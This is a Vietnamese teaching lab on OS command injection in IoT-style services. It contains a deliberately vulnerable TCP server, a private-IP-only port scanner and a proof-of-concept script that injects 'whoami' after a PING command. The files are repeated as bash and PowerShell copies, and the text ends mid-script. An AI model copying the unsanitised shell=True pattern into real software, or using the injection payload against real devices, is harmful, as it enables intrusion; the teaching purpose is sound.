Cổng mở rồi thì sao? Khi dữ liệu gửi vào port điều khiển được cả máy

cat > vuln_app.py <<'EOF'
#!/usr/bin/env python3
"""
vuln_app.py - "HomeLand Controller" (ban CO LOI, dung de DAY HOC)
==================================================================
Gia lap mot thiet bi IoT dieu khien nha ("HomeLand"): nhan lenh PING qua
TCP de kiem tra mot thiet bi khac trong nha co online khong.

CO Y CAI LOI: ham handle() noi chuoi nguoi dung gui thang vao lenh shell
(os.system voi shell=True) ma KHONG kiem tra ky tu dac biet. Day la loi
"OS command injection" - OWASP Top 10, hang Injection. Chi dung de hoc,
KHONG dung lam mau cho ung dung thuc te.

Chi chay o 127.0.0.1 (chinh may ban) theo mac dinh. Muon mo cho ca mang
lab (vi du de demo giua 2 may CUA BAN, da duoc phep) thi them --lan, va
CHI lam vay trong mang rieng ban kiem soat, khong bao gio ra Internet.
"""
import argparse
import socket
import platform
import subprocess

PORT_DEFAULT = 9500


def handle(payload: str) -> str:
    """Xu ly mot dong lenh dang: PING <ten_thiet_bi>

    LOI CO Y: ghep thang chuoi nguoi dung gui vao lenh shell.
    Vi du nguoi dung gui "PING 127.0.0.1; whoami" thi shell se chay CA
    HAI lenh: ping va whoami. Day goi la command injection.
    """
    payload = payload.strip()
    if not payload.upper().startswith("PING "):
        return "LOI: chi ho tro lenh PING <dia_chi>\n"
    target = payload[5:]  # <-- KHONG duoc kiem tra, day la cho ho (lo hong)
    flags = "-n 1 -w 1000" if platform.system() == "Windows" else "-c 1 -t 1"
    cmd = f"ping {flags} {target}"  # <-- noi chuoi vao shell: NGUY HIEM
    try:
        out = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=5)
        return (out.stdout + out.stderr) or "(khong co ket qua)\n"
    except Exception as e:  # noqa: BLE001 - demo day hoc, in loi tho de de quan sat
        return f"LOI: {e}\n"


def main():
    ap = argparse.ArgumentParser(description="HomeLand Controller (demo CO LOI de day hoc)")
    ap.add_argument("--port", type=int, default=PORT_DEFAULT)
    ap.add_argument("--lan", action="store_true",
                     help="mo cho ca mang lab thay vi chi 127.0.0.1 (chi dung mang rieng ban kiem soat)")
    args = ap.parse_args()
    bind_ip = "0.0.0.0" if args.lan else "127.0.0.1"

    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        s.bind((bind_ip, args.port))
        s.listen(5)
        print(f"[HomeLand - DEMO CO LOI] dang lang nghe {bind_ip}:{args.port}")
        print("Day la ung dung CO Y GAY LOI de hoc command injection. Khong dung thuc te.")
        while True:
            conn, addr = s.accept()
            with conn:
                data = conn.recv(4096).decode("utf-8", "replace")
                print(f"[ket noi tu {addr}] nhan: {data!r}")
                conn.sendall(handle(data).encode("utf-8", "replace"))


if __name__ == "__main__":
    main()
EOF

@'
#!/usr/bin/env python3
"""
vuln_app.py - "HomeLand Controller" (ban CO LOI, dung de DAY HOC)
==================================================================
Gia lap mot thiet bi IoT dieu khien nha ("HomeLand"): nhan lenh PING qua
TCP de kiem tra mot thiet bi khac trong nha co online khong.

CO Y CAI LOI: ham handle() noi chuoi nguoi dung gui thang vao lenh shell
(os.system voi shell=True) ma KHONG kiem tra ky tu dac biet. Day la loi
"OS command injection" - OWASP Top 10, hang Injection. Chi dung de hoc,
KHONG dung lam mau cho ung dung thuc te.

Chi chay o 127.0.0.1 (chinh may ban) theo mac dinh. Muon mo cho ca mang
lab (vi du de demo giua 2 may CUA BAN, da duoc phep) thi them --lan, va
CHI lam vay trong mang rieng ban kiem soat, khong bao gio ra Internet.
"""
import argparse
import socket
import platform
import subprocess

PORT_DEFAULT = 9500


def handle(payload: str) -> str:
    """Xu ly mot dong lenh dang: PING <ten_thiet_bi>

    LOI CO Y: ghep thang chuoi nguoi dung gui vao lenh shell.
    Vi du nguoi dung gui "PING 127.0.0.1; whoami" thi shell se chay CA
    HAI lenh: ping va whoami. Day goi la command injection.
    """
    payload = payload.strip()
    if not payload.upper().startswith("PING "):
        return "LOI: chi ho tro lenh PING <dia_chi>\n"
    target = payload[5:]  # <-- KHONG duoc kiem tra, day la cho ho (lo hong)
    flags = "-n 1 -w 1000" if platform.system() == "Windows" else "-c 1 -t 1"
    cmd = f"ping {flags} {target}"  # <-- noi chuoi vao shell: NGUY HIEM
    try:
        out = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=5)
        return (out.stdout + out.stderr) or "(khong co ket qua)\n"
    except Exception as e:  # noqa: BLE001 - demo day hoc, in loi tho de de quan sat
        return f"LOI: {e}\n"


def main():
    ap = argparse.ArgumentParser(description="HomeLand Controller (demo CO LOI de day hoc)")
    ap.add_argument("--port", type=int, default=PORT_DEFAULT)
    ap.add_argument("--lan", action="store_true",
                     help="mo cho ca mang lab thay vi chi 127.0.0.1 (chi dung mang rieng ban kiem soat)")
    args = ap.parse_args()
    bind_ip = "0.0.0.0" if args.lan else "127.0.0.1"

    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        s.bind((bind_ip, args.port))
        s.listen(5)
        print(f"[HomeLand - DEMO CO LOI] dang lang nghe {bind_ip}:{args.port}")
        print("Day la ung dung CO Y GAY LOI de hoc command injection. Khong dung thuc te.")
        while True:
            conn, addr = s.accept()
            with conn:
                data = conn.recv(4096).decode("utf-8", "replace")
                print(f"[ket noi tu {addr}] nhan: {data!r}")
                conn.sendall(handle(data).encode("utf-8", "replace"))


if __name__ == "__main__":
    main()
'@ | Set-Content -Path vuln_app.py -Encoding ascii

cat > vuln_app.py <<'EOF'
#!/usr/bin/env python3
"""
vuln_app.py - "HomeLand Controller" (ban CO LOI, dung de DAY HOC)
==================================================================
Gia lap mot thiet bi IoT dieu khien nha ("HomeLand"): nhan lenh PING qua
TCP de kiem tra mot thiet bi khac trong nha co online khong.

CO Y CAI LOI: ham handle() noi chuoi nguoi dung gui thang vao lenh shell
(os.system voi shell=True) ma KHONG kiem tra ky tu dac biet. Day la loi
"OS command injection" - OWASP Top 10, hang Injection. Chi dung de hoc,
KHONG dung lam mau cho ung dung thuc te.

Chi chay o 127.0.0.1 (chinh may ban) theo mac dinh. Muon mo cho ca mang
lab (vi du de demo giua 2 may CUA BAN, da duoc phep) thi them --lan, va
CHI lam vay trong mang rieng ban kiem soat, khong bao gio ra Internet.
"""
import argparse
import socket
import platform
import subprocess

PORT_DEFAULT = 9500


def handle(payload: str) -> str:
    """Xu ly mot dong lenh dang: PING <ten_thiet_bi>

    LOI CO Y: ghep thang chuoi nguoi dung gui vao lenh shell.
    Vi du nguoi dung gui "PING 127.0.0.1; whoami" thi shell se chay CA
    HAI lenh: ping va whoami. Day goi la command injection.
    """
    payload = payload.strip()
    if not payload.upper().startswith("PING "):
        return "LOI: chi ho tro lenh PING <dia_chi>\n"
    target = payload[5:]  # <-- KHONG duoc kiem tra, day la cho ho (lo hong)
    flags = "-n 1 -w 1000" if platform.system() == "Windows" else "-c 1 -t 1"
    cmd = f"ping {flags} {target}"  # <-- noi chuoi vao shell: NGUY HIEM
    try:
        out = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=5)
        return (out.stdout + out.stderr) or "(khong co ket qua)\n"
    except Exception as e:  # noqa: BLE001 - demo day hoc, in loi tho de de quan sat
        return f"LOI: {e}\n"


def main():
    ap = argparse.ArgumentParser(description="HomeLand Controller (demo CO LOI de day hoc)")
    ap.add_argument("--port", type=int, default=PORT_DEFAULT)
    ap.add_argument("--lan", action="store_true",
                     help="mo cho ca mang lab thay vi chi 127.0.0.1 (chi dung mang rieng ban kiem soat)")
    args = ap.parse_args()
    bind_ip = "0.0.0.0" if args.lan else "127.0.0.1"

    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        s.bind((bind_ip, args.port))
        s.listen(5)
        print(f"[HomeLand - DEMO CO LOI] dang lang nghe {bind_ip}:{args.port}")
        print("Day la ung dung CO Y GAY LOI de hoc command injection. Khong dung thuc te.")
        while True:
            conn, addr = s.accept()
            with conn:
                data = conn.recv(4096).decode("utf-8", "replace")
                print(f"[ket noi tu {addr}] nhan: {data!r}")
                conn.sendall(handle(data).encode("utf-8", "replace"))


if __name__ == "__main__":
    main()
EOF

cat > port_scan.py <<'EOF'
# port_scan.py - quét port TCP của MỘT thiết bị trong mạng của BẠN.
# Chỉ dùng thư viện có sẵn của Python 3.
# Chỉ chạy trên thiết bị của chính bạn hoặc nơi được cho phép.
# Chỉ nhận IP riêng (192.168.x.x, 10.x.x.x, 127.0.0.1...).
# Ví dụ: python3 port_scan.py 127.0.0.1            (quét các port phổ biến)
#        python3 port_scan.py 192.168.1.1 -p 1-1024
#        python3 port_scan.py 192.168.1.1 -p 22,80,443
import argparse
import ipaddress
import socket
import time
from concurrent.futures import ThreadPoolExecutor

COMMON = [21, 22, 23, 25, 53, 80, 110, 135, 139, 143, 443, 445, 554, 631, 993, 995, 1723, 3306, 3389,
          5000, 5900, 7000, 8000, 8008, 8080, 8443, 9100, 62078]
MAX_PORTS = 2000   # giới hạn số port mỗi lần quét, tránh gõ nhầm 1-65535 làm nghẽn máy


def parse_ports(text):
    # Đổi chuỗi người dùng gõ thành danh sách số port. Chấp nhận "22,80,443" hoặc
    # "1-1024" hoặc kết hợp "22,80,8000-8100"
    ports = set()
    for part in text.split(","):
        part = part.strip()
        if "-" in part:
            a, b = part.split("-", 1)
            ports.update(range(int(a), int(b) + 1))
        elif part:
            ports.add(int(part))
    if not ports or min(ports) < 1 or max(ports) > 65535:
        raise ValueError("port phai nam trong khoang 1-65535")
    return sorted(ports)


def probe(ip, port, timeout):
    # Thử "gõ cửa" một port bằng một kết nối TCP.
    # Ba kết quả có thể: open / closed / filtered.
    # [1] Tạo socket TCP (SOCK_STREAM: có bắt tay ba bước)
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        # [2] Chỉ chờ tối đa `timeout` giây; im lặng quá lâu thì ngắt, không để
        #     chương trình treo
        s.settimeout(timeout)
        try:
            # [3] Kết nối thành công = bắt tay xong = có dịch vụ đang nghe -> "open"
            s.connect((ip, port))
            return port, "open"
        except ConnectionRefusedError:
            return port, "closed"      # có người trả lời "không có dịch vụ ở đây" (gói RST) -> "closed"
        except (socket.timeout, OSError):
            return port, "filtered"    # im lặng hoặc không tới được: thường là tường lửa chặn -> "filtered"


def service_name(port):
    try:
        return socket.getservbyport(port, "tcp")
    except OSError:
        return "?"


def main():
    ap = argparse.ArgumentParser(description="Quet port TCP cua mot thiet bi trong mang cua ban")
    ap.add_argument("ip", help="IP rieng can quet, vi du 192.168.1.1 hoac 127.0.0.1")
    ap.add_argument("-p", "--ports", help="danh sach port, vi du 22,80,443 hoac 1-1024 (mac dinh: ~30 port pho bien)")
    ap.add_argument("--timeout", type=float, default=2.0, help="so giay cho moi port (mac dinh 2; router cham tra loi can timeout dai)")
    args = ap.parse_args()

    # [1] Phân tích chuỗi IP người dùng gõ (sai định dạng thì tự báo lỗi, dừng ngay)
    ip = ipaddress.ip_address(args.ip)
    # [2] Chốt chặn: chỉ nhận IP riêng hoặc 127.0.0.1; IP Internet bị từ chối ngay
    if not (ip.is_private or ip.is_loopback):
        raise SystemExit("Chi quet IP rieng (192.168.x.x, 10.x.x.x, 127.0.0.1...). Khong quet Internet.")
    # [3] Lấy danh sách port: người dùng gõ -p thì phân tích, không thì dùng bảng
    #     COMMON; gõ sai thì thoát kèm lý do
    try:
        ports = parse_ports(args.ports) if args.ports else COMMON
    except ValueError as e:
        raise SystemExit("Loi port: " + str(e))
    # [4] Giới hạn số port mỗi lần quét
    if len(ports) > MAX_PORTS:
        raise SystemExit(f"Toi da {MAX_PORTS} port moi lan. Ban nhap {len(ports)}.")

    print(f"Dang quet {ip} ({len(ports)} port), timeout {args.timeout}s moi port...")
    # [1] Ghi lại giờ bắt đầu để lát nữa tính xem quét mất bao lâu
    start = time.time()
    # [2] Tạo 100 luồng làm việc cùng lúc; mỗi luồng thử một port
    with ThreadPoolExecutor(max_workers=100) as pool:
        # [3] pool.map giao từng port cho một luồng đang rảnh, đợi tất cả xong rồi
        #     trả danh sách (port, trạng thái)
        results = list(pool.map(lambda p: probe(str(ip), p, args.timeout), ports))
    count = {"open": 0, "closed": 0, "filtered": 0}
    print("PORT    TRANG THAI  DICH VU")
    for port, state in results:
        count[state] += 1
        if state == "open":
            print(f"{port:<7} {state:<11} {service_name(port)}")
    print(f"\nmo: {count['open']}  dong: {count['closed']}  im lang (filtered): {count['filtered']}  "
          f"(xong sau {time.time() - start:.1f} giay)")


if __name__ == "__main__":
    main()
EOF

@'
# port_scan.py - quét port TCP của MỘT thiết bị trong mạng của BẠN.
# Chỉ dùng thư viện có sẵn của Python 3.
# Chỉ chạy trên thiết bị của chính bạn hoặc nơi được cho phép.
# Chỉ nhận IP riêng (192.168.x.x, 10.x.x.x, 127.0.0.1...).
# Ví dụ: python3 port_scan.py 127.0.0.1            (quét các port phổ biến)
#        python3 port_scan.py 192.168.1.1 -p 1-1024
#        python3 port_scan.py 192.168.1.1 -p 22,80,443
import argparse
import ipaddress
import socket
import time
from concurrent.futures import ThreadPoolExecutor

COMMON = [21, 22, 23, 25, 53, 80, 110, 135, 139, 143, 443, 445, 554, 631, 993, 995, 1723, 3306, 3389,
          5000, 5900, 7000, 8000, 8008, 8080, 8443, 9100, 62078]
MAX_PORTS = 2000   # giới hạn số port mỗi lần quét, tránh gõ nhầm 1-65535 làm nghẽn máy


def parse_ports(text):
    # Đổi chuỗi người dùng gõ thành danh sách số port. Chấp nhận "22,80,443" hoặc
    # "1-1024" hoặc kết hợp "22,80,8000-8100"
    ports = set()
    for part in text.split(","):
        part = part.strip()
        if "-" in part:
            a, b = part.split("-", 1)
            ports.update(range(int(a), int(b) + 1))
        elif part:
            ports.add(int(part))
    if not ports or min(ports) < 1 or max(ports) > 65535:
        raise ValueError("port phai nam trong khoang 1-65535")
    return sorted(ports)


def probe(ip, port, timeout):
    # Thử "gõ cửa" một port bằng một kết nối TCP.
    # Ba kết quả có thể: open / closed / filtered.
    # [1] Tạo socket TCP (SOCK_STREAM: có bắt tay ba bước)
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        # [2] Chỉ chờ tối đa `timeout` giây; im lặng quá lâu thì ngắt, không để
        #     chương trình treo
        s.settimeout(timeout)
        try:
            # [3] Kết nối thành công = bắt tay xong = có dịch vụ đang nghe -> "open"
            s.connect((ip, port))
            return port, "open"
        except ConnectionRefusedError:
            return port, "closed"      # có người trả lời "không có dịch vụ ở đây" (gói RST) -> "closed"
        except (socket.timeout, OSError):
            return port, "filtered"    # im lặng hoặc không tới được: thường là tường lửa chặn -> "filtered"


def service_name(port):
    try:
        return socket.getservbyport(port, "tcp")
    except OSError:
        return "?"


def main():
    ap = argparse.ArgumentParser(description="Quet port TCP cua mot thiet bi trong mang cua ban")
    ap.add_argument("ip", help="IP rieng can quet, vi du 192.168.1.1 hoac 127.0.0.1")
    ap.add_argument("-p", "--ports", help="danh sach port, vi du 22,80,443 hoac 1-1024 (mac dinh: ~30 port pho bien)")
    ap.add_argument("--timeout", type=float, default=2.0, help="so giay cho moi port (mac dinh 2; router cham tra loi can timeout dai)")
    args = ap.parse_args()

    # [1] Phân tích chuỗi IP người dùng gõ (sai định dạng thì tự báo lỗi, dừng ngay)
    ip = ipaddress.ip_address(args.ip)
    # [2] Chốt chặn: chỉ nhận IP riêng hoặc 127.0.0.1; IP Internet bị từ chối ngay
    if not (ip.is_private or ip.is_loopback):
        raise SystemExit("Chi quet IP rieng (192.168.x.x, 10.x.x.x, 127.0.0.1...). Khong quet Internet.")
    # [3] Lấy danh sách port: người dùng gõ -p thì phân tích, không thì dùng bảng
    #     COMMON; gõ sai thì thoát kèm lý do
    try:
        ports = parse_ports(args.ports) if args.ports else COMMON
    except ValueError as e:
        raise SystemExit("Loi port: " + str(e))
    # [4] Giới hạn số port mỗi lần quét
    if len(ports) > MAX_PORTS:
        raise SystemExit(f"Toi da {MAX_PORTS} port moi lan. Ban nhap {len(ports)}.")

    print(f"Dang quet {ip} ({len(ports)} port), timeout {args.timeout}s moi port...")
    # [1] Ghi lại giờ bắt đầu để lát nữa tính xem quét mất bao lâu
    start = time.time()
    # [2] Tạo 100 luồng làm việc cùng lúc; mỗi luồng thử một port
    with ThreadPoolExecutor(max_workers=100) as pool:
        # [3] pool.map giao từng port cho một luồng đang rảnh, đợi tất cả xong rồi
        #     trả danh sách (port, trạng thái)
        results = list(pool.map(lambda p: probe(str(ip), p, args.timeout), ports))
    count = {"open": 0, "closed": 0, "filtered": 0}
    print("PORT    TRANG THAI  DICH VU")
    for port, state in results:
        count[state] += 1
        if state == "open":
            print(f"{port:<7} {state:<11} {service_name(port)}")
    print(f"\nmo: {count['open']}  dong: {count['closed']}  im lang (filtered): {count['filtered']}  "
          f"(xong sau {time.time() - start:.1f} giay)")


if __name__ == "__main__":
    main()
'@ | Set-Content -Path port_scan.py -Encoding ascii

cat > port_scan.py <<'EOF'
# port_scan.py - quét port TCP của MỘT thiết bị trong mạng của BẠN.
# Chỉ dùng thư viện có sẵn của Python 3.
# Chỉ chạy trên thiết bị của chính bạn hoặc nơi được cho phép.
# Chỉ nhận IP riêng (192.168.x.x, 10.x.x.x, 127.0.0.1...).
# Ví dụ: python3 port_scan.py 127.0.0.1            (quét các port phổ biến)
#        python3 port_scan.py 192.168.1.1 -p 1-1024
#        python3 port_scan.py 192.168.1.1 -p 22,80,443
import argparse
import ipaddress
import socket
import time
from concurrent.futures import ThreadPoolExecutor

COMMON = [21, 22, 23, 25, 53, 80, 110, 135, 139, 143, 443, 445, 554, 631, 993, 995, 1723, 3306, 3389,
          5000, 5900, 7000, 8000, 8008, 8080, 8443, 9100, 62078]
MAX_PORTS = 2000   # giới hạn số port mỗi lần quét, tránh gõ nhầm 1-65535 làm nghẽn máy


def parse_ports(text):
    # Đổi chuỗi người dùng gõ thành danh sách số port. Chấp nhận "22,80,443" hoặc
    # "1-1024" hoặc kết hợp "22,80,8000-8100"
    ports = set()
    for part in text.split(","):
        part = part.strip()
        if "-" in part:
            a, b = part.split("-", 1)
            ports.update(range(int(a), int(b) + 1))
        elif part:
            ports.add(int(part))
    if not ports or min(ports) < 1 or max(ports) > 65535:
        raise ValueError("port phai nam trong khoang 1-65535")
    return sorted(ports)


def probe(ip, port, timeout):
    # Thử "gõ cửa" một port bằng một kết nối TCP.
    # Ba kết quả có thể: open / closed / filtered.
    # [1] Tạo socket TCP (SOCK_STREAM: có bắt tay ba bước)
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        # [2] Chỉ chờ tối đa `timeout` giây; im lặng quá lâu thì ngắt, không để
        #     chương trình treo
        s.settimeout(timeout)
        try:
            # [3] Kết nối thành công = bắt tay xong = có dịch vụ đang nghe -> "open"
            s.connect((ip, port))
            return port, "open"
        except ConnectionRefusedError:
            return port, "closed"      # có người trả lời "không có dịch vụ ở đây" (gói RST) -> "closed"
        except (socket.timeout, OSError):
            return port, "filtered"    # im lặng hoặc không tới được: thường là tường lửa chặn -> "filtered"


def service_name(port):
    try:
        return socket.getservbyport(port, "tcp")
    except OSError:
        return "?"


def main():
    ap = argparse.ArgumentParser(description="Quet port TCP cua mot thiet bi trong mang cua ban")
    ap.add_argument("ip", help="IP rieng can quet, vi du 192.168.1.1 hoac 127.0.0.1")
    ap.add_argument("-p", "--ports", help="danh sach port, vi du 22,80,443 hoac 1-1024 (mac dinh: ~30 port pho bien)")
    ap.add_argument("--timeout", type=float, default=2.0, help="so giay cho moi port (mac dinh 2; router cham tra loi can timeout dai)")
    args = ap.parse_args()

    # [1] Phân tích chuỗi IP người dùng gõ (sai định dạng thì tự báo lỗi, dừng ngay)
    ip = ipaddress.ip_address(args.ip)
    # [2] Chốt chặn: chỉ nhận IP riêng hoặc 127.0.0.1; IP Internet bị từ chối ngay
    if not (ip.is_private or ip.is_loopback):
        raise SystemExit("Chi quet IP rieng (192.168.x.x, 10.x.x.x, 127.0.0.1...). Khong quet Internet.")
    # [3] Lấy danh sách port: người dùng gõ -p thì phân tích, không thì dùng bảng
    #     COMMON; gõ sai thì thoát kèm lý do
    try:
        ports = parse_ports(args.ports) if args.ports else COMMON
    except ValueError as e:
        raise SystemExit("Loi port: " + str(e))
    # [4] Giới hạn số port mỗi lần quét
    if len(ports) > MAX_PORTS:
        raise SystemExit(f"Toi da {MAX_PORTS} port moi lan. Ban nhap {len(ports)}.")

    print(f"Dang quet {ip} ({len(ports)} port), timeout {args.timeout}s moi port...")
    # [1] Ghi lại giờ bắt đầu để lát nữa tính xem quét mất bao lâu
    start = time.time()
    # [2] Tạo 100 luồng làm việc cùng lúc; mỗi luồng thử một port
    with ThreadPoolExecutor(max_workers=100) as pool:
        # [3] pool.map giao từng port cho một luồng đang rảnh, đợi tất cả xong rồi
        #     trả danh sách (port, trạng thái)
        results = list(pool.map(lambda p: probe(str(ip), p, args.timeout), ports))
    count = {"open": 0, "closed": 0, "filtered": 0}
    print("PORT    TRANG THAI  DICH VU")
    for port, state in results:
        count[state] += 1
        if state == "open":
            print(f"{port:<7} {state:<11} {service_name(port)}")
    print(f"\nmo: {count['open']}  dong: {count['closed']}  im lang (filtered): {count['filtered']}  "
          f"(xong sau {time.time() - start:.1f} giay)")


if __name__ == "__main__":
    main()
EOF

cat > exploit_poc.py <<'EOF'
#!/usr/bin/env python3
"""
exploit_poc.py - chung minh (PoC) loi command injection cua vuln_app.py
=========================================================================
Chi dung voi ung dung demo vuln_app.py, tren may/mang CUA BAN, da duoc phep.

Gui mot "dia chi" gia dang hop le nhung co gan them lenh thu hai bang dau
";" de HomeLand Controller (ban co loi) chay luon lenh do. PoC nay CHI in
ra ket qua cua 1 lenh vo hai (whoami/id) de chung minh code thuc thi duoc -
khong cai cai gi vao may nan nhan, khong mo cua sau, khong lay du lieu.
"""
import argparse
import socket


def send(host, port, line):
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.settimeout(5)
        s.connect((host, port))
        s.sendall(line.encode())
        chunks = []
        while True:
            chunk = s.recv(8192)
            if not chunk:
                break
            chunks.append(chunk)
        return b"".join(chunks).decode("utf-8", "replace")


def main():
    ap = argparse.ArgumentParser(description="PoC: chung minh command injection tren vuln_app.py")
    ap.add_argument("host", help="IP cua may dang chay vuln_app.py (vi du 127.0.0.1)")
    ap.add_argument("--port", type=int, default=9500)
    ap.add_argument("--server-os", choices=["posix", "windows"], default="posix",
                    help="he dieu hanh SERVER: posix (macOS/Linux) hoac windows")
    args = ap.parse_args()

    try:
        print("1) Dung dung (du doan): gui PING binh thuong")
        print(send(args.host, args.port, f"PING {args.host}\n"))

        separator = "&" if args.server_os == "windows" else ";"
        print(f"2) KHAI THAC: gan lenh whoami bang dau {separator!r} (server {args.server_os})")
        payload = f"PING 127.0.0.1{separator} echo ---LENH-THU-HAI-DA-CHAY---{separator} whoami\n"
        print("   Du lieu gui di:", payload.strip())
        reply = send(args.host, args.port, payload)
        print(reply)
    except ConnectionRefusedError:
        raise SystemExit(
            f"LOI: {args.host}:{args.port} tu choi ket noi.\n"
            "Nguyen nhan thuong gap: chua chay vuln_app.py (hoac vuln_app_fixed.py) o may do,\n"
            "hoac quen them --lan khi chay tren may khac voi may dang go lenh nay.")
    except (TimeoutError, socket.timeout):
        # Truoc Python 3.10, socket.timeout KHONG phai TimeoutError nen phai bat ca hai.
        raise SystemExit(
            f"LOI: khong ket noi duoc toi {args.host}:{args.port} sau 5 giay (timed out).\n"
            "Nguyen nhan thuong gap: hai may dang o hai mang khac nhau (kiem tra cung ten Wi-Fi),\n"
            "mang khach dang cach ly thiet bi (AP isolation, xem bai 8), hoac firewall cua may do\n"
            "dang chan im lang (xem bai giang: hop thoai 'Allow incoming connections' tren macOS,\n"
            "Windows Defender Firewall tren Windows).")
    except OSError as e:
        raise SystemExit(f"LOI mang: {e}\nKiem tra lai dia chi IP va cong, va ca hai may cung mang.")

    # Luu y: ban DA SUA se echo lai dung chuoi bi tu choi (chua ca chu danh
    # dau), nen phai loai truong hop do truoc khi ket luan "da khai thac".
    if "TU CHOI" in reply or reply.startswith("LOI"):
        print(">>> KET LUAN: server TU CHOI chay, khong co lenh thu hai nao duoc thuc thi.")
        print(">>> Dau vao da duoc kiem tra (allowlist IPv4) truoc khi dua vao subprocess.")
    elif "---LENH-THU-HAI-DA-CHAY---" in [line.strip() for line in reply.splitlines()]:
        print(">>> KET LUAN: ung dung da chay ca lenh 'whoami' ngoai y dinh.")
        print(">>> Day la command injection: server ghep chuoi nguoi dung vao shell.")
    else:
        print(">>> Khong ro ket qua, kiem tra lai log server.")


if __name__ == "__main__":
    main()
EOF

@'
#!/usr/bin/env python3
"""
exploit_poc.py - chung minh (PoC) loi command injection cua vuln_app.py
=========================================================================
Chi dung voi ung dung demo vuln_app.py, tren may/mang CUA BAN, da duoc phep.

Gui mot "dia chi" gia dang hop le nhung co gan them lenh thu hai bang dau
";" de HomeLand Controller (ban co loi) chay luon lenh do. PoC nay CHI in
ra ket qua cua 1 lenh vo hai (whoami/id) de chung minh code thuc thi duoc -
khong cai cai gi vao may nan nhan, khong mo cua sau, khong lay du lieu.
"""
import argparse
import socket


def send(host, port, line):
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.settimeout(5)
        s.connect((host, port))
        s.sendall(line.encode())
        chunks = []
        while True:
            chunk = s.recv(8192)
            if not chunk:
                break
            chunks.append(chunk)
        return b"".join(chunks).decode("utf-8", "replace")


def main():
    ap = argparse.ArgumentParser(description="PoC: chung minh command injection tren vuln_app.py")
    ap.add_argument("host", help="IP cua may dang chay vuln_app.py (vi du 127.0.0.1)")
    ap.add_argument("--port", type=int, default=9500)
    ap.add_argument("--server-os", choices=["posix", "windows"], default="posix",
                    help="he dieu hanh SERVER: posix (macOS/Linux) hoac windows")
    args = ap.parse_args()

    try:
        print("1) Dung dung (du doan): gui PING binh thuong")
        print(send(args.host, args.port, f"PING {args.host}\n"))

        separator = "&" if args.server_os == "windows" else ";"
        print(f"2) KHAI THAC: gan lenh whoami bang dau {separator!r} (server {args.server_os})")
        payload = f"PING 127.0.0.1{separator} echo ---LENH-THU-HAI-DA-CHAY---{separator} whoami\n"
        print("   Du lieu gui di:", payload.strip())
        reply = send(args.host, args.port, payload)
        print(reply)
    except ConnectionRefusedError:
        raise SystemExit(
            f"LOI: {args.host}:{args.port} tu choi ket noi.\n"
            "Nguyen nhan thuong gap: chua chay vuln_app.py (hoac vuln_app_fixed.py) o may do,\n"
            "hoac quen them --lan khi chay tren may khac voi may dang go lenh nay.")
    except (TimeoutError, socket.timeout):
        # Truoc Python 3.10, socket.timeout KHONG phai TimeoutError nen phai bat ca hai.
        raise SystemExit(
            f"LOI: khong ket noi duoc toi {args.host}:{args.port} sau 5 giay (timed out).\n"
            "Nguyen nhan thuong gap: hai may dang o hai mang khac nhau (kiem tra cung ten Wi-Fi),\n"
            "mang khach dang cach ly thiet bi (AP isolation, xem bai 8), hoac firewall cua may do\n"
            "dang chan im lang (xem bai giang: hop thoai 'Allow incoming connections' tren macOS,\n"
            "Windows Defender Firewall tren Windows).")
    except OSError as e:
        raise SystemExit(f"LOI mang: {e}\nKiem tra lai dia chi IP va cong, va ca hai may cung mang.")

    # Luu y: ban DA SUA se echo lai dung chuoi bi tu choi (chua ca chu danh
    # dau), nen phai loai truong hop do truoc khi ket luan "da khai thac".
    if "TU CHOI" in reply or reply.startswith("LOI"):
        print(">>> KET LUAN: server TU CHOI chay, khong co lenh thu hai nao duoc thuc thi.")
        print(">>> Dau vao da duoc kiem tra (allowlist IPv4) truoc khi dua vao subprocess.")
    elif "---LENH-THU-HAI-DA-CHAY---" in [line.strip() for line in reply.splitlines()]:
        print(">>> KET LUAN: ung dung da chay ca lenh 'whoami' ngoai y dinh.")
        print(">>> Day la command injection: server ghep chuoi nguoi dung vao shell.")
    else:
        print(">>> Khong ro ket qua, kiem tra lai log server.")


if __name__ == "__main__":
    main()
'@ | Set-Content -Path exploit_poc.py -Encoding ascii

cat > exploit_poc.py <<'EOF'
#!/usr/bin/env python3
"""
exploit_poc.py - chung minh (PoC) loi command injection cua vuln_app.py
=========================================================================
Chi dung voi ung dung demo vuln_app.py, tren may/mang CUA BAN, da duoc phep.

Gui mot "dia chi" gia dang hop le nhung co gan them lenh thu hai bang dau
";" de HomeLand Controller (ban co loi) chay luon lenh do. PoC nay CHI in
ra ket qua cua 1 lenh vo hai (whoami/id) de chung minh code thuc thi duoc -
khong cai cai gi vao may nan nhan, khong mo cua sau, khong lay du lieu.
"""
import argparse
import socket


def send(host, port, line):
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.settimeout(5)
        s.connect((host, port))
        s.sendall(line.encode())
        chunks = []
        while True:
            chunk = s.recv(8192)
            if not chunk:
                break
            chunks.append(chunk)
        return b"".join(chunks).decode("utf-8", "replace")


def main():
    ap = argparse.ArgumentParser(description="PoC: chung minh command injection tren vuln_app.py")
    ap.add_argument("host", help="IP cua may dang chay vuln_app.py (vi du 127.0.0.1)")
    ap.add_argument("--port", type=int, default=9500)
    ap.add_argument("--server-os", choices=["posix", "windows"], default="posix",
                    help="he dieu hanh SERVER: posix (macOS/Linux) hoac windows")
    args = ap.parse_args()

    try:
        print("1) Dung dung (du doan): gui PING binh thuong")
        print(send(args.host, args.port, f"PING {args.host}\n"))

        separator = "&" if args.server_os == "windows" else ";"
        print(f"2) KHAI THAC: gan lenh whoami bang dau {separator!r} (server {args.server_os})")
        payload = f"PING 127.0.0.1{separator} echo ---LENH-THU-HAI-DA-CHAY---{separator} whoami\n"
